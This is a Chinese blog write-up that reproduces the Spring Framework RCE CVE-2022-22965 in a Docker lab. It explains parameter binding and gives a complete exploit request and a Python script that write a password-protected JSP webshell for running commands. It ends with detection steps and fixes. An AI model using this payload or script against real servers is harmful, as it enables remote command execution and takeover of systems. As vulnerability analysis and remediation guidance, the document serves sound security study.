• Spring RCE 漏洞 CVE-2022-22965复现分析


    目录

    前言:

    (一)了解Spring框架

    1、spring framework

    2、Spring Boot

    (二) 漏洞介绍

    受影响范围:

    不受影响版本:

    基础知识

    利用思路:

    Tomcat日志:

    access_log属性:

    (三)漏洞复现

    1、进入并启动

    2、漏洞复现

    1、BP抓包,加入代码

    (四)排查思路

    (五)漏洞修复

    1、WAF等安全组件防护

    2、官方修补


    前言:

            关于CVE-2022-22965漏洞的环境调试和内容,网上看了一波,感觉有些知识点内容还是必须要了解才能理解该漏洞,为此详细写了下从Spring框架结构分析,环境搭建到漏洞分析调试整体的一个过程理解,在遇到其他类型的漏洞也可以去调试运用。

    (一)了解Spring框架


          由于本文主要介绍漏洞原理流程,所以有关框架不会具体展开,会将涉及到的内容进行解释。

    1、spring framework

         它是Java最流行的一个框架,基于Spring我们可以直接调用实现一些简单的业务逻辑即可使用,同时也包含了许多高级的功能,比如面向切面编程,也可以非常简单的和其他组件进行集成,比如说我们用Spring访问数据库Redis......它都已经提供了相应的接口。

    2、Spring Boot

            但是spring的配置非常繁琐,后来出现了Spring Boot , 其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。下图就直观表现了他们之间的关系

     Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。

    (二) 漏洞介绍


    受影响范围:

    • Spring Framework < 5.3.18
    • Spring Framework < 5.2.20
    • JDK ≥ 9

    不受影响版本:

    • Spring Framework = 5.3.18
    • Spring Framework = 5.2.20
    • JDK < 9
    • *与Tomcat版本有关

    基础知识

            在Spring MVC框架里面,假如我们在前端发请一个HTTP的请求,在后端用Controller进行接收处理,Spring提供了如果你请求的参数和你所编写的参数可以对应起来的话,它就会调用对应set和get方法(默认自带的方法)进行自动绑定,当然也可以进行多级绑定:

    eg:

    参数名赋值:contry.province.city.district=jianye
    调用链路:
            Contry. get Province()
            Province. get City()
            City. get District()
            District. set DistrictName()
    江苏->南京->建邺
    eg:
    1. import org.springframework.stereotype.Controller;
    2. import org.springframework.web.bind.annotation.RequestMapping;
    3. import org.springframework.web.bind.annotation.ResponseBody;
    4. @Controller
    5. public class UserController {
    6. @RequestMapping(“/addUser”)
    7. public @ResponseBody String addUser(User user) {
    8. returnOK”;
    9. }
    10. }
    11. public class User {
    12. private String name;
    13. private Department department;
    14. public String getName() {
    15. return name;
    16. }
    17. public void setName(String name) {
    18. this.name = name;
    19. }
    20. public Department getDepartment() {
    21. return department;
    22. }
    23. public void setDepartment(Department department) {
    24. this.department = department;
    25. }
    26. }
    27. public class Department {
    28. private String name;
    29. public String getName() {
    30. return name;
    31. }
    32. public void setName(String name) {
    33. this.name = name;
    34. }
    35. }

    当请求为/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:

    • PropertyDescriptor
            JDK自带:
    1. Java Bean PropertyDescriptor
    2. 自动调用类对象的get/set方法

    eg:

    1. import java.beans.BeanInfo;
    2. import java.beans.Introspector;
    3. import java.beans.PropertyDescriptor;
    4. public class PropertyDescriptorDemo {
    5. public static void main(String[] args) throws Exception {
    6. User user = new User();
    7. user.setName(“foo”);
    8. BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
    9. PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
    10. PropertyDescriptor userNameDescriptor = null;
    11. for (PropertyDescriptor descriptor : descriptors) {
    12. if (descriptor.getName().equals(“name”)) {
    13. userNameDescriptor = descriptor;
    14. System.out.println(“userNameDescriptor: “ + userNameDescriptor);
    15. System.out.println(“Before modification: “);
    16. System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
    17. userNameDescriptor.getWriteMethod().invoke(user, “bar”);
    18. }
    19. }
    20. System.out.println(“After modification: “);
    21. System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
    22. }
    23. }
    24. userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
    25. Before modification:
    26. user.name: foo
    27. After modification:
    28. user.name: bar

    从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合

    • BeanWrapperImpl(使上面调用更加简单)

    1. Spring自带:
    2. BeanWrapperImpl
    3. 对Spring容器中管理的对象,自动调用get/set方法

    eg:

    1. import org.springframework.beans.BeanWrapper;
    2. import org.springframework.beans.BeanWrapperImpl;
    3. public class BeanWrapperDemo {
    4. public static void main(String[] args) throws Exception {
    5. User user = new User();
    6. user.setName(“foo”);
    7. Department department = new Department();
    8. department.setName(“SEC”);
    9. user.setDepartment(department);
    10. BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
    11. userBeanWrapper.setAutoGrowNestedPaths(true);
    12. System.out.println(“userBeanWrapper: “ + userBeanWrapper);
    13. System.out.println(“Before modification: “);
    14. System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
    15. System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
    16. userBeanWrapper.setPropertyValue(“name”, “bar”);
    17. userBeanWrapper.setPropertyValue(“department.name”, “IT”);
    18. System.out.println(“After modification: “);
    19. System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
    20. System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
    21. }
    22. }
    23. userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
    24. Before modification:
    25. user.name: foo
    26. user.department.name: SEC
    27. After modification:
    28. user.name: bar
    29. user.department.name: IT

    从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。

    利用思路:

            通过Controller的参数赋值(自动绑定), 可以修改任意对象的属性值,假如说我们修改一个文件名和保存路径,写入一个话木马,用中国蚁剑连接,控制整个项目,那么我们就成功实现入侵。这个文件就是Tomcat

    Tomcat日志:

     我们想利用的就是access_log属性值里面的内容。

    access_log属性:

    • directory: access_log文件输出目录
    • prefix: access_log文件名前缀
    • suffix: access_log文件名后缀
    • pattern: access_log文件内容格式
    • fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

    在server.xml里面就配置了对应的文件名和保存路径,在它里面我们找到了类名。

    调用链

    1. class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass()
    2. java.lang.Class.getModule()
    3. java.lang.Module.getClassLoader()
    4. org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
    5. org.apache.catalina.webresources.StandardRoot.getContext()
    6. org.apache.catalina.core.StandardContext.getParent()
    7. org.apache.catalina.core.StandardHost.getPipeline()
    8. org.apache.catalina.core.StandardPipeline.getFirst()
    9. org.apache.catalina.valves.AccessLogValve.setPattern

    (三)漏洞复现


    1、进入并启动

    1. cd spring/CVE-2022-22965
    2. docker-compose up -d

     启动需要一定的时间,主要看电脑的性能。

    2、漏洞复现

            访问网页并且进行抓包,修改红色框中的内容,其内容的简单目的是写入恶意代码到webapps/ROOT目录下的fuck.jsp文件中,在访问该文件的时候,需要验证密码pwd之后才能够执行需要执行的命令cmd。(PS:每次写完shell会有缓存,因此payload没打成功请重启)

    1. GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
    2. suffix: %>//
    3. c1: Runtime
    4. c2: <%

    看似复杂,实质上就是反复调用get和set方法,进行复制取值修改路径注入一句话木马,我们来具体分析一下。

    1、BP抓包,加入代码

    1. 首先对suffix(后缀名)、c1(路径)、c2(文件名)参数进行替换。
    2. 经过处理之后,有些java基础的人已经看出来了这是一个写入webshell的语法
    3. 首先判断pwd是否是fuck,如果通过就执行cmd命令
    4. 写入一句话木马,我们可以通过中国蚁进行连接,密码就是参数名pwd
    5. GET
    6. /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
    7. <% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    8. int a = -1; byte[] b = new byte[2048];
    9. while((a=in.read(b))!=-1){
    10. out.println(new String(b));
    11. }
    12. }%>//
    13. &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp //后缀名是jsp
    14. &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT //路径是webapps/ROOT
    15. &class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck //文件名字是fuck
    16. &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

            进入到容器内部,查看是否生成了fuck.jsp,发现成功生成了fuck.jsp,并且其内部的内容也是成功写入了

    1. docker ps
    2. docker exec -it 7c /bin/bash
    3. cd webapps/ROOT
    4. cat fuck.jsp

    感觉上述步骤麻烦,直接自己写pthyon脚本进行攻击

    1. import requests
    2. headers={
    3. "suffix": "%>//",
    4. "c1": "Runtime",
    5. "c2": "<%"
    6. }
    7. payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
    8. ip="http://192.168.1.136:8080"
    9. payload2='/fuck.jsp?pwd=fuck&cmd=id'
    10. try:
    11. U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
    12. U2=requests.get(url=ip+payload2,verify=False,timeout=3)
    13. if U2.status_code == 200:
    14. print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
    15. except Exception as e:
    16. print(e)

    (四)排查思路


    1. Spring 参数绑定功能
    2. JDK版本 9+
    3. Tomcat部署方式及版本
    4. Tomcat Access功能
    5. 流量分析
    6. 日志分析

    (五)漏洞修复


    (参考: 深信服千里目安全实验室

    1、WAF等安全组件防护

    在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class.”“Class.”“.class.”“.Class.”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

    2、官方修补

    更新升级到最新版本。链接如下:
    https://github.com/spring-projects/spring-framework/tags
    注:Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本

  • 相关阅读:
    Python爬虫获取淘宝商品详情页数据|实现自动化采集商品信息
    蓝桥杯入门即劝退(六)等差素数数列
    短视频商城系统的技术架构与最佳实践
    Jmeter对服务器资源的监控
    617以及assura使用总结
    Sulfo-Cy3 NHS酯,Sulfo-Cy3 NHS ester,水溶性荧光染料Cy3标记琥珀酰亚胺活化酯
    亚马逊UL认证检测报告详细流程
    Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用
    【DLY-310端子排型电流继电器】
    MySQL MVCC机制详解
  • 原文地址:https://blog.csdn.net/m0_61506558/article/details/126938208